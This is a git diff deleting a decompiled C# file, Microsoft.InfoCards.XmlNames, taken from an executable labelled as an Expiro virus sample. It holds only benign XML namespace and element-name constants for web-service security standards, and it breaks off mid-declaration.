a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/XmlNames.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/XmlNames.cs deleted file mode 100644 index 4908080e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/XmlNames.cs +++ /dev/null @@ -1,863 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.XmlNames -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class XmlNames - { - private XmlNames() - { - } - - public static XmlNamespaceManager CreateNamespaceManager( - XmlNameTable nameTable) - { - XmlNamespaceManager namespaceManager = new XmlNamespaceManager(nameTable); - namespaceManager.AddNamespace("saml", "urn:oasis:names:tc:SAML:1.0:assertion"); - namespaceManager.AddNamespace("soap", "http://www.w3.org/2003/05/soap-envelope"); - namespaceManager.AddNamespace("wsa", "http://www.w3.org/2005/08/addressing"); - namespaceManager.AddNamespace("wsid", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - namespaceManager.AddNamespace("wsmex", "http://schemas.xmlsoap.org/ws/2004/09/mex"); - namespaceManager.AddNamespace("wsp", "http://schemas.xmlsoap.org/ws/2004/09/policy"); - namespaceManager.AddNamespace("wsse", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - namespaceManager.AddNamespace("wssu", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"); - namespaceManager.AddNamespace("wxf", "http://schemas.xmlsoap.org/ws/2004/09/transfer"); - namespaceManager.AddNamespace("wst", "http://schemas.xmlsoap.org/ws/2005/02/trust"); - namespaceManager.AddNamespace("dsig", "http://www.w3.org/2000/09/xmldsig#"); - namespaceManager.AddNamespace("enc", "http://www.w3.org/2001/04/xmlenc#"); - namespaceManager.AddNamespace("xsd", "http://www.w3.org/2001/XMLSchema"); - return namespaceManager; - } - - internal sealed class Saml11 - { - public const string DefaultPrefix = "saml"; - public const string Namespace = "urn:oasis:names:tc:SAML:1.0:assertion"; - public const string AltNamespace = "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1"; - - private Saml11() - { - } - } - - internal sealed class Saml10 - { - public const string DefaultPrefix = "saml"; - public const string Namespace = "urn:oasis:names:tc:SAML:1.0:assertion"; - public const string Bearer = "urn:oasis:names:tc:SAML:1.0:cm:bearer"; - - private Saml10() - { - } - } - - internal sealed class Xml - { - public const string DefaultPrefix = "xml"; - public const string Namespace = "http://www.w3.org/XML/1998/namespace"; - public const string Language = "lang"; - public const string DateTimeFormat = "yyyy-MM-ddTHH:mm:ssZ"; - - private Xml() - { - } - } - - internal sealed class XmlSchema - { - public const string DefaultPrefix = "xsd"; - public const string Namespace = "http://www.w3.org/2001/XMLSchema"; - public const string SchemaLocation = "http://www.w3.org/2001/xml.xsd"; - public const string LocalSchemaLocation = "xml.xsd"; - - private XmlSchema() - { - } - } - - internal sealed class WSAddressing - { - public const string DefaultPrefix = "wsa"; - public const string Namespace = "http://www.w3.org/2005/08/addressing"; - public const string SchemaLocation = "http://www.w3.org/2005/08/addressing/addressing.xsd"; - public const string LocalSchemaLocation = "addressing.xsd"; - public const string EndpointReference = "EndpointReference"; - public const string Address = "Address"; - - private WSAddressing() - { - } - } - - internal sealed class WSAddressing04 - { - public const string DefaultPrefix = "wsa04"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/08/addressing"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/08/addressing/"; - public const string LocalSchemaLocation = "addressing04.xsd"; - - private WSAddressing04() - { - } - } - - internal sealed class WSPolicy - { - public const string DefaultPrefix = "wsp"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/policy"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/09/policy/ws-policy.xsd"; - public const string LocalSchemaLocation = "ws-policy.xsd"; - public const string Policy = "Policy"; - public const string AppliesTo = "AppliesTo"; - - private WSPolicy() - { - } - } - - internal enum WSSpecificationVersion - { - WSPolicyXmlSoap2004, - WSPolicyW32007, - WSTrustXmlSoap2005, - WSTrustOasis2007, - WSSecurityPolicyXmlSoap2005, - WSSecurityPolicyOasis2007, - } - - internal interface IWSSpecification - { - XmlNames.WSSpecificationVersion Version { get; } - } - - internal interface IWSPolicy : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string Policy { get; } - - string AppliesTo { get; } - } - - internal sealed class WSPolicyXmlSoap2004 : XmlNames.IWSPolicy, XmlNames.IWSSpecification - { - public const string c_DefaultPrefix = "wsp2004"; - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2004/09/policy"; - public const string c_AppliesTo = "AppliesTo"; - public static XmlNames.WSPolicyXmlSoap2004 Instance = new XmlNames.WSPolicyXmlSoap2004(); - - private WSPolicyXmlSoap2004() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSPolicyXmlSoap2004; - - public string DefaultPrefix => "wsp2004"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2004/09/policy"; - - public string SchemaLocation => this.Namespace + "/ws-policy.xsd"; - - public string LocalSchemaLocation => "ws-policy.xsd"; - - public string Policy => nameof (Policy); - - public string AppliesTo => nameof (AppliesTo); - } - - internal sealed class WSPolicyW32007 : XmlNames.IWSPolicy, XmlNames.IWSSpecification - { - public const string c_DefaultPrefix = "wsp2007"; - public const string c_Namespace = "http://www.w3.org/ns/ws-policy"; - public const string c_AppliesTo = "AppliesTo"; - public static XmlNames.WSPolicyW32007 Instance = new XmlNames.WSPolicyW32007(); - - private WSPolicyW32007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSPolicyW32007; - - public string DefaultPrefix => "wsp2007"; - - public string Namespace => "http://www.w3.org/ns/ws-policy"; - - public string SchemaLocation => "http://www.w3.org/2007/02/ws-policy.xsd"; - - public string LocalSchemaLocation => "ws-policy-2007.xsd"; - - public string Policy => nameof (Policy); - - public string AppliesTo => nameof (AppliesTo); - } - - internal sealed class XmlEnc - { - public const string DefaultPrefix = "enc"; - public const string Namespace = "http://www.w3.org/2001/04/xmlenc#"; - public const string EncryptedData = "EncryptedData"; - public const string EncryptionMethod = "EncryptionMethod"; - public const string EncryptionProperties = "EncryptionProperties"; - public const string CipherData = "CipherData"; - public const string CipherValue = "CipherValue"; - public const string Encoding = "Encoding"; - public const string MimeType = "MimeType"; - public const string Type = "Type"; - public const string Id = "Id"; - public const string Algorithm = "Algorithm"; - public const string LocalSchemaLocation = "xenc-schema.xsd"; - public const string SchemaLocation = "http://www.w3.org/TR/xmlenc-core/xenc-schema.xsd"; - - private XmlEnc() - { - } - } - - internal sealed class XmlDSig - { - public const string DefaultPrefix = "dsig"; - public const string Namespace = "http://www.w3.org/2000/09/xmldsig#"; - public const string SchemaLocation = "http://www.w3.org/TR/xmldsig-core/xmldsig-core-schema.xsd"; - public const string LocalSchemaLocation = "xmldsig-core-schema.xsd"; - public const string X509CertificateElement = "X509Certificate"; - public const string X509IssuerSerialElement = "X509IssuerSerial"; - public const string X509IssuerNameElement = "X509IssuerName"; - public const string X509SerialNumberElement = "X509SerialNumber"; - public const string X509DataElement = "X509Data"; - public const string RSAKeyValueElement = "RSAKeyValue"; - public const string Signature = "Signature"; - public const string KeyInfo = "KeyInfo"; - public const string KeyValue = "KeyValue"; - - private XmlDSig() - { - } - } - - internal sealed class WSSecurityPolicy - { - public const string DefaultPrefix = "sp"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/ws-securitypolicy.xsd"; - public const string LocalSchemaLocation = "ws-securitypolicy.xsd"; - public const string RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - - private WSSecurityPolicy() - { - } - } - - internal interface IWSSecurityPolicy : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string RequestSecurityTokenTemplate { get; } - } - - internal sealed class WSSecurityPolicyXmlSoap2005 : - XmlNames.IWSSecurityPolicy, - XmlNames.IWSSpecification - { - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - public const string c_RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - public static XmlNames.WSSecurityPolicyXmlSoap2005 Instance = new XmlNames.WSSecurityPolicyXmlSoap2005(); - - private WSSecurityPolicyXmlSoap2005() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSSecurityPolicyXmlSoap2005; - - public string DefaultPrefix => "sp"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy"; - - public string SchemaLocation => "http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/ws-securitypolicy.xsd"; - - public string LocalSchemaLocation => "ws-securitypolicy.xsd"; - - public string RequestSecurityTokenTemplate => nameof (RequestSecurityTokenTemplate); - } - - internal sealed class WSSecurityPolicyOasis2007 : - XmlNames.IWSSecurityPolicy, - XmlNames.IWSSpecification - { - public const string c_Namespace = "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512"; - public const string c_RequestSecurityTokenTemplate = "RequestSecurityTokenTemplate"; - public static XmlNames.WSSecurityPolicyOasis2007 Instance = new XmlNames.WSSecurityPolicyOasis2007(); - - private WSSecurityPolicyOasis2007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSSecurityPolicyOasis2007; - - public string DefaultPrefix => "sp"; - - public string Namespace => "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512"; - - public string SchemaLocation => "http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512/ws-securitypolicy-1.2.xsd"; - - public string LocalSchemaLocation => "ws-securitypolicy-1.2.xsd"; - - public string RequestSecurityTokenTemplate => nameof (RequestSecurityTokenTemplate); - } - - internal sealed class WSSecurityUtility - { - public const string DefaultPrefix = "wssu"; - public const string Namespace = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string SchemaLocation = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string LocalSchemaLocation = "oasis-200401-wss-wssecurity-utility-1.0.xsd"; - public const string Created = "Created"; - public const string Expires = "Expires"; - - private WSSecurityUtility() - { - } - } - - internal sealed class WSSecurityExt - { - public const string DefaultPrefix = "wsse"; - public const string Namespace = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string SchemaLocation = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string LocalSchemaLocation = "oasis-200401-wss-wssecurity-secext-1.0.xsd"; - public const string Sha1ThumbprintKeyTypeValue = "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1"; - public const string AltSha1ThumbprintKeyTypeValue = "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1"; - public const string KeyIdentifierElement = "KeyIdentifier"; - public const string ValueTypeAttribute = "ValueType"; - - private WSSecurityExt() - { - } - } - - internal sealed class WSMetadataExchange - { - public const string DefaultPrefix = "wsmex"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/mex"; - public const string LocalSchemaLocation = "MetadataExchange.xsd"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2004/09/mex/MetadataExchange.xsd"; - - private WSMetadataExchange() - { - } - } - - internal sealed class Soap11 - { - public const string DefaultPrefix = "soap"; - public const string Namespace = "http://schemas.xmlsoap.org/soap/envelope/"; - - private Soap11() - { - } - } - - internal sealed class Soap12 - { - public const string DefaultPrefix = "soap"; - public const string Namespace = "http://www.w3.org/2003/05/soap-envelope"; - - private Soap12() - { - } - } - - internal sealed class WSIdentity - { - public const string DefaultPrefix = "wsid"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/05/identity"; - public const string LocalSchemaLocation = "identity.xsd"; - public const string ClaimElement = "ClaimType"; - public const string SupportedClaimTypeElement = "SupportedClaimType"; - public const string ProvisionAtElement = "ProvisionAt"; - public const string RequestBrowserToken = "RequestBrowserToken"; - public const string Identity = "Identity"; - public const string DictionaryUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims"; - public const string SelfIssuerUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self"; - public const string AnonymousIssuerUri = "http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"; - public const string PersonalCategoryUri = "http://icardissuer.microsoft.com/categories/identitycard"; - public const string UserNamePasswordAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/UsernamePassword"; - public const string KerberosV5Auth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/KerberosV5"; - public const string X509V3SoftAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/X509V3Soft"; - public const string X509V3SmartCardAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/X509V3SmartCard"; - public const string SelfIssuedAuth = "http://schemas.xmlsoap.org/ws/2005/05/identity/A12nMethod/SelfIssuedToken"; - public const string RequestDisplayTokenElement = "RequestDisplayToken"; - public const string RequestedDisplayTokenElement = "RequestedDisplayToken"; - public const string DisplayTokenElement = "DisplayToken"; - public const string DisplayTokenTextElement = "DisplayTokenText"; - public const string DisplayClaimElement = "DisplayClaim"; - public const string DisplayTagElement = "DisplayTag"; - public const string DisplayValueElement = "DisplayValue"; - public const string DescriptionElement = "Description"; - public const string InfoCardElement = "InformationCard"; - public const string RoamingInfoCardElement = "RoamingInformationCard"; - public const string InfoCardRefElement = "InformationCardReference"; - public const string CardNameElement = "CardName"; - public const string CardImageElement = "CardImage"; - public const string CardIdElement = "CardId"; - public const string CardVersionElement = "CardVersion"; - public const string IssuerNameElement = "IssuerName"; - public const string IssuerElement = "Issuer"; - public const string IssuerUriElement = "IssuerUri"; - public const string TimeIssuedElement = "TimeIssued"; - public const string TimeExpiresElement = "TimeExpires"; - public const string SupportedClaimTypeListElement = "SupportedClaimTypeList"; - public const string SupportedTokenTypeListElement = "SupportedTokenTypeList"; - public const string RequirePinProtectionElement = "RequirePinProtection"; - public const string TokenServiceListElement = "TokenServiceList"; - public const string TokenServiceElement = "TokenService"; - public const string UserCredentialElement = "UserCredential"; - public const string DisplayCredentialHintElement = "DisplayCredentialHint"; - public const string UserNamePasswordCredentialElement = "UsernamePasswordCredential"; - public const string X509V3CredentialElement = "X509V3Credential"; - public const string KerberosV5CredentialElement = "KerberosV5Credential"; - public const string SelfIssuedCredentialElement = "SelfIssuedCredential"; - public const string RequireAppliesToElement = "RequireAppliesTo"; - public const string UserNameElement = "Username"; - public const string PrivatePersonalIdentifierElement = "PrivatePersonalIdentifier"; - public const string MaxTokenAgeElement = "MaxTokenAge"; - public const string OpaqueEndPointElement = "OpaqueEndpoint"; - public const string UriAttribute = "Uri"; - public const string OptionalAttribute = "Optional"; - public const string MimeTypeAttribute = "MimeType"; - public const string MethodAttribute = "Method"; - public const string PrivacyNoticeAtElement = "PrivacyNotice"; - public const string PrivacyNoticeVersionAttribute = "Version"; - public const string IsManagedElement = "IsManaged"; - public const string MasterKeyElement = "MasterKey"; - public const string PinDigestElement = "PinDigest"; - public const string HashSaltElement = "HashSalt"; - public const string TimeLastUpdatedElement = "TimeLastUpdated"; - public const string ClaimValueElement = "ClaimValue"; - public const string RoamingStoreElement = "RoamingStore"; - public const string IsSelfIssuedElement = "IsSelfIssued"; - public const string StoreSaltElement = "StoreSalt"; - public const string IssuerIdElement = "IssuerId"; - public const string IterationCountElement = "IterationCount"; - public const string EncryptedStoreElement = "EncryptedStore"; - public const string BackgroundColorElement = "BackgroundColor"; - public const string UserPrincipalNameElement = "UserPrincipalName"; - public const string InfoCardMetaDataElement = "InformationCardMetaData"; - public const string InfoCardPrivateDataElement = "InformationCardPrivateData"; - public const string ClaimValueListElement = "ClaimValueList"; - public const string ValueElement = "Value"; - public const string ThumbprintUri = "http://schemas.xmlsoap.org/ws/2005/05/identity/keyThumbprintSHA1"; - public const string ClientPseudonym = "ClientPseudonym"; - public const string PPID = "PPID"; - public const string FaultNamespace = "http://schemas.xmlsoap.org/ws/2005/05/identity/fault"; - public const string FaultRefreshRequired = "InformationCardRefreshRequired"; - public const string FaultMissingAppliesTo = "MissingAppliesTo"; - public const string FaultInvalidProofKey = "InvalidProofKey"; - public const string FaultUnknownReference = "UnknownInformationCardReference"; - public const string FaultRequiredClaims = "FailedRequiredClaims"; - public static readonly Uri SelfIssuerUriValue = new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self"); - public static readonly Uri AnonymousIssuerUriValue = new Uri("http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"); - public static readonly Uri NoProofKeyTypeValue = new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey"); - - private WSIdentity() - { - } - } - - internal sealed class WSIdentity07 - { - public const string DefaultPrefix = "wsid07"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2007/01/identity"; - public const string LocalSchemaLocation = "ws-identity-2007.xsd"; - public const string IssuerInformation = "IssuerInformation"; - public const string IssuerInformationEntry = "IssuerInformationEntry"; - public const string EntryName = "EntryName"; - public const string EntryValue = "EntryValue"; - public const string RequireStrongRPIdentity = "RequireStrongRecipientIdentity"; - - private WSIdentity07() - { - } - } - - internal sealed class WSTrust - { - public const string DefaultPrefix = "wst"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/02/trust"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2005/02/trust/ws-trust.xsd"; - public const string LocalSchemaLocation = "ws-trust.xsd"; - public const string ClaimsElement = "Claims"; - public const string TokenType = "TokenType"; - public const string EncryptWith = "EncryptWith"; - public const string CustomToken = "customToken"; - public const string Context = "Context"; - public const string KeyType = "KeyType"; - public const string KeySize = "KeySize"; - public const string UseKey = "UseKey"; - public const string SigAttribute = "Sig"; - public const string RequestSecurityToken = "RequestSecurityToken"; - public const string RequestSecurityTokenAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue"; - public const string RequestSecurityTokenResponseAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue"; - public const string RequestedSecurityToken = "RequestedSecurityToken"; - public const string RequestedProofToken = "RequestedProofToken"; - public const string RequestSecurityTokenResponse = "RequestSecurityTokenResponse"; - public const string Lifetime = "Lifetime"; - public const string RequestedAttachedReference = "RequestedAttachedReference"; - public const string RequestedUnattachedReference = "RequestedUnattachedReference"; - public const string Entropy = "Entropy"; - public const string ComputedKey = "ComputedKey"; - public const string AuthenticationType = "AuthenticationType"; - public const string SignatureAlgorithm = "SignatureAlgorithm"; - public const string EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string SignWith = "SignWith"; - public const string ComputedKeyAlgorithm = "http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1"; - public const string RequestType = "RequestType"; - public const string IssueRequestType = "http://schemas.xmlsoap.org/ws/2005/02/trust/Issue"; - public static readonly Uri KeyTypeSymmetric = new Uri("http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey"); - public static readonly Uri KeyTypeAsymmetric = new Uri("http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey"); - - private WSTrust() - { - } - } - - internal interface IWSTrust : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string ClaimsElement { get; } - - string TokenType { get; } - - string EncryptWith { get; } - - string CustomToken { get; } - - string Context { get; } - - string KeyType { get; } - - string KeySize { get; } - - string UseKey { get; } - - string SigAttribute { get; } - - string RequestSecurityToken { get; } - - string RequestSecurityTokenAction { get; } - - string RequestSecurityTokenResponseAction { get; } - - string RequestedSecurityToken { get; } - - string RequestedProofToken { get; } - - string RequestSecurityTokenResponse { get; } - - string RequestSecurityTokenResponseCollection { get; } - - string Lifetime { get; } - - string RequestedAttachedReference { get; } - - string RequestedUnattachedReference { get; } - - string Entropy { get; } - - string ComputedKey { get; } - - string AuthenticationType { get; } - - string SignatureAlgorithm { get; } - - string EncryptionAlgorithm { get; } - - string CanonicalizationAlgorithm { get; } - - string SignWith { get; } - - string ComputedKeyAlgorithm { get; } - - string RequestType { get; } - - string IssueRequestType { get; } - - string SecondaryParameters { get; } - - string KeyWrapAlgorithm { get; } - - string Dialect { get; } - - Uri KeyTypeSymmetric { get; } - - Uri KeyTypeAsymmetric { get; } - - Uri KeyTypeBearer { get; } - } - - internal sealed class WSTrustXmlSoap2005 : XmlNames.IWSTrust, XmlNames.IWSSpecification - { - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2005/02/trust"; - public const string c_RequestSecurityTokenAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue"; - public const string c_RequestSecurityTokenResponseAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue"; - public const string c_DefaultPrefix = "wst2005"; - public const string c_ClaimsElement = "Claims"; - public const string c_TokenType = "TokenType"; - public const string c_EncryptWith = "EncryptWith"; - public const string c_KeyType = "KeyType"; - public const string c_KeySize = "KeySize"; - public const string c_SignatureAlgorithm = "SignatureAlgorithm"; - public const string c_EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string c_CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string c_SignWith = "SignWith"; - public const string c_RequestType = "RequestType"; - public const string c_Dialect = "Dialect"; - public static XmlNames.WSTrustXmlSoap2005 Instance = new XmlNames.WSTrustXmlSoap2005(); - private static readonly Uri m_KeyTypeSymmetric = new Uri(XmlNames.WSTrustXmlSoap2005.Instance.Namespace + "/SymmetricKey"); - private static readonly Uri m_KeyTypeAsymmetric = new Uri(XmlNames.WSTrustXmlSoap2005.Instance.Namespace + "/PublicKey"); - - private WSTrustXmlSoap2005() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005; - - public string DefaultPrefix => "wst2005"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2005/02/trust"; - - public string SchemaLocation => this.Namespace + "/ws-trust.xsd"; - - public string LocalSchemaLocation => "ws-trust.xsd"; - - public string ClaimsElement => "Claims"; - - public string TokenType => nameof (TokenType); - - public string EncryptWith => nameof (EncryptWith); - - public string CustomToken => "customToken"; - - public string Context => nameof (Context); - - public string KeyType => nameof (KeyType); - - public string KeySize => nameof (KeySize); - - public string UseKey => nameof (UseKey); - - public string SigAttribute => "Sig"; - - public string RequestSecurityToken => nameof (RequestSecurityToken); - - public string RequestSecurityTokenAction => this.Namespace + "/RST/Issue"; - - public string RequestSecurityTokenResponseAction => this.Namespace + "/RSTR/Issue"; - - public string RequestedSecurityToken => nameof (RequestedSecurityToken); - - public string RequestedProofToken => nameof (RequestedProofToken); - - public string RequestSecurityTokenResponse => nameof (RequestSecurityTokenResponse); - - public string RequestSecurityTokenResponseCollection => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string Lifetime => nameof (Lifetime); - - public string RequestedAttachedReference => nameof (RequestedAttachedReference); - - public string RequestedUnattachedReference => nameof (RequestedUnattachedReference); - - public string Entropy => nameof (Entropy); - - public string ComputedKey => nameof (ComputedKey); - - public string AuthenticationType => nameof (AuthenticationType); - - public string SignatureAlgorithm => nameof (SignatureAlgorithm); - - public string EncryptionAlgorithm => nameof (EncryptionAlgorithm); - - public string CanonicalizationAlgorithm => nameof (CanonicalizationAlgorithm); - - public string SignWith => nameof (SignWith); - - public string ComputedKeyAlgorithm => this.Namespace + "/CK/PSHA1"; - - public string RequestType => nameof (RequestType); - - public string IssueRequestType => this.Namespace + "/Issue"; - - public string SecondaryParameters => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string KeyWrapAlgorithm => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string Dialect => nameof (Dialect); - - public Uri KeyTypeSymmetric => XmlNames.WSTrustXmlSoap2005.m_KeyTypeSymmetric; - - public Uri KeyTypeAsymmetric => XmlNames.WSTrustXmlSoap2005.m_KeyTypeAsymmetric; - - public Uri KeyTypeBearer => XmlNames.WSIdentity.NoProofKeyTypeValue; - } - - internal sealed class WSTrustOasis2007 : XmlNames.IWSTrust, XmlNames.IWSSpecification - { - public const string c_Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512"; - public const string c_RequestSecurityTokenAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue"; - public const string c_RequestSecurityTokenResponseAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal"; - public const string c_DefaultPrefix = "wst"; - public const string c_ClaimsElement = "Claims"; - public const string c_TokenType = "TokenType"; - public const string c_EncryptWith = "EncryptWith"; - public const string c_KeyType = "KeyType"; - public const string c_KeySize = "KeySize"; - public const string c_SignatureAlgorithm = "SignatureAlgorithm"; - public const string c_EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string c_CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string c_SignWith = "SignWith"; - public const string c_RequestType = "RequestType"; - public const string c_SecondaryParameters = "SecondaryParameters"; - public const string c_KeyWrapAlgorithm = "KeyWrapAlgorithm"; - public const string c_Dialect = "Dialect"; - public static XmlNames.WSTrustOasis2007 Instance = new XmlNames.WSTrustOasis2007(); - private static readonly Uri m_KeyTypeSymmetric = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/SymmetricKey"); - private static readonly Uri m_KeyTypeAsymmetric = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/PublicKey"); - private static readonly Uri m_KeyTypeBearer = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/Bearer"); - - private WSTrustOasis2007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSTrustOasis2007; - - public string DefaultPrefix => "wst"; - - public string Namespace => "http://docs.oasis-open.org/ws-sx/ws-trust/200512"; - - public string SchemaLocation => this.Namespace + "/ws-trust-1.3.xsd"; - - public string LocalSchemaLocation => "ws-trust-1.3.xsd"; - - public string ClaimsElement => "Claims"; - - public string TokenType => nameof (TokenType); - - public string EncryptWith => nameof (EncryptWith); - - public string CustomToken => "customToken"; - - public string Context => nameof (Context); - - public string KeyType => nameof (KeyType); - - public string KeySize => nameof (KeySize); - - public string UseKey => nameof (UseKey); - - public string SigAttribute => "Sig"; - - public string RequestSecurityToken => nameof (RequestSecurityToken); - - public string RequestSecurityTokenAction => this.Namespace + "/RST/Issue"; - - public string RequestSecurityTokenResponseAction => this.Namespace + "/RSTRC/IssueFinal"; - - public string RequestedSecurityToken => nameof (RequestedSecurityToken); - - public string RequestedProofToken => nameof (RequestedProofToken); - - public string RequestSecurityTokenResponse => nameof (RequestSecurityTokenResponse); - - public string RequestSecurityTokenResponseCollection => nameof (RequestSecurityTokenResponseCollection); - - public string Lifetime => nameof (Lifetime); - - public string RequestedAttachedReference => nameof (RequestedAttachedReference); - - public string RequestedUnattachedReference => nameof (RequestedUnattachedReference); - - public string Entropy => nameof (Entropy); - - public string ComputedKey => nameof (ComputedKey); - - public string AuthenticationType => nameof (AuthenticationType); - - public string SignatureAlgorithm => nameof (SignatureAlgorithm); - - public string EncryptionAlgorithm => nameof (EncryptionAlgorithm); - - public string CanonicalizationAlgorithm => nameof (CanonicalizationAlgorithm); - - public string SignWith => nameof (SignWith); - - public string ComputedKeyAlgorithm => this.Namespace + "/CK/PSHA1"; - - public string RequestType => nameof (RequestType); - - public string IssueRequestType => this.Namespace + "/Issue"; - - public string SecondaryParameters => nameof (SecondaryParameters); - - public string KeyWrapAlgorithm => nameof (KeyWrapAlgorithm); - - public string Dialect => nameof (Dialect); - - public Uri KeyTypeSymmetric => XmlNames.WSTrustOasis2007.m_KeyTypeSymmetric; - - public Uri KeyTypeAsymmetric => XmlNames.WSTrustOasis2007.m_KeyTypeAsymmetric; - - public Uri KeyTypeBearer => XmlNames.WSTrustOasis2007.m_KeyTypeBearer; - } - - internal sealed class WSTransfer - { - public const string DefaultPrefix = "wxf"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/transfer"; - public const string Create = "Create"; - public const string CreateAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Create"; - public const string CreateResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/CreateResponse"; - public const string Get = "Get"; - public const string GetAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Get"; - public const string GetResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/GetResponse"; - public const string Put = "Put"; - public const string PutAction = 